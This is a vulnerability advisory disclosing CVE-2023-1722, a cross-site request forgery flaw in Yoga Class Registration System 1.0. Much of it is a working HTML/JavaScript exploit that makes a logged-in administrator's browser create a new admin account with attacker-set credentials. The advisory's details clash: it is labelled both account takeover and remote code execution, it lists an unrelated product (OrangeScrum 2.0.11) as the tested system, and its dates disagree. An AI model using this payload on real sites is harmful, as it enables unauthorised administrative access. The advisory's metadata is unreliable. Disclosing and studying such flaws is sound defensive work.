

Advisories

Yoga Class Registration System 1.0 - ATO

6,5

Medium

Discovered by

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Yoga Class Registration System 1.0 - RCE

Code name

Wyckoff

State

Public

Release date

23 de jun. de 2023

Affected product

Yoga Class Registration System

Affected version(s)

Version 1.0

Vulnerability name

Cross-site request forgery

Vulnerability type

007. Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v3.1 base score

6.5

Exploit available

Yes

CVE ID(s)

CVE-2023-1722

Description

Yoga Class Registration System Version 1.0 allows an external attacker to elevate privileges in the application. This is possible because the application is not protected against CSRF attacks.

Vulnerability

The application is not protected against CSRF attacks, so an attacker can persuade an administrator to create a new account with administrative permissions, along with the credentials set by the attacker.

Exploitation

To exploit the vulnerability I have written the following exploit:

<!DOCTYPE html>
<html>
 <body>
 <script>
 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http:\/\/retr02332.com\/php-ycrs\/classes\/Users.php?f=save", true);
 xhr.setRequestHeader("Accept", "*\/*");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------426135374114296864734166274622");
 xhr.withCredentials = true;
 var body = "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"id\"\r\n" +
 "\r\n" +
 "\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"firstname\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"middlename\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"lastname\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"username\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"password\"\r\n" +
 "\r\n" +
 "test\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"type\"\r\n" +
 "\r\n" +
 "1\r\n" +
 "-----------------------------426135374114296864734166274622\r\n" +
 "Content-Disposition: form-data; name=\"img\"; filename=\"\"\r\n" +
 "Content-Type: application/octet-stream\r\n" +
 "\r\n" +
 "\r\n" +
 "-----------------------------426135374114296864734166274622--\r\n";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i);
 xhr.send(new Blob([aBody]));
 }
 </script>
 <form action="#">
 <input type="button" value="Submit request" onclick="submitRequest();" />
 </form>
 </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the CVE-2023-1722 to refer to these issues from now on. Disclosure policy

System Information

Version: OrangeScrum 2.0.11
Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html

Timeline



Vulnerability discovered

31 de mar. de 2023



Vendor contacted

31 de mar. de 2023



Vendor replied

31 de mar. de 2023



Public disclosure

13 de jun. de 2023

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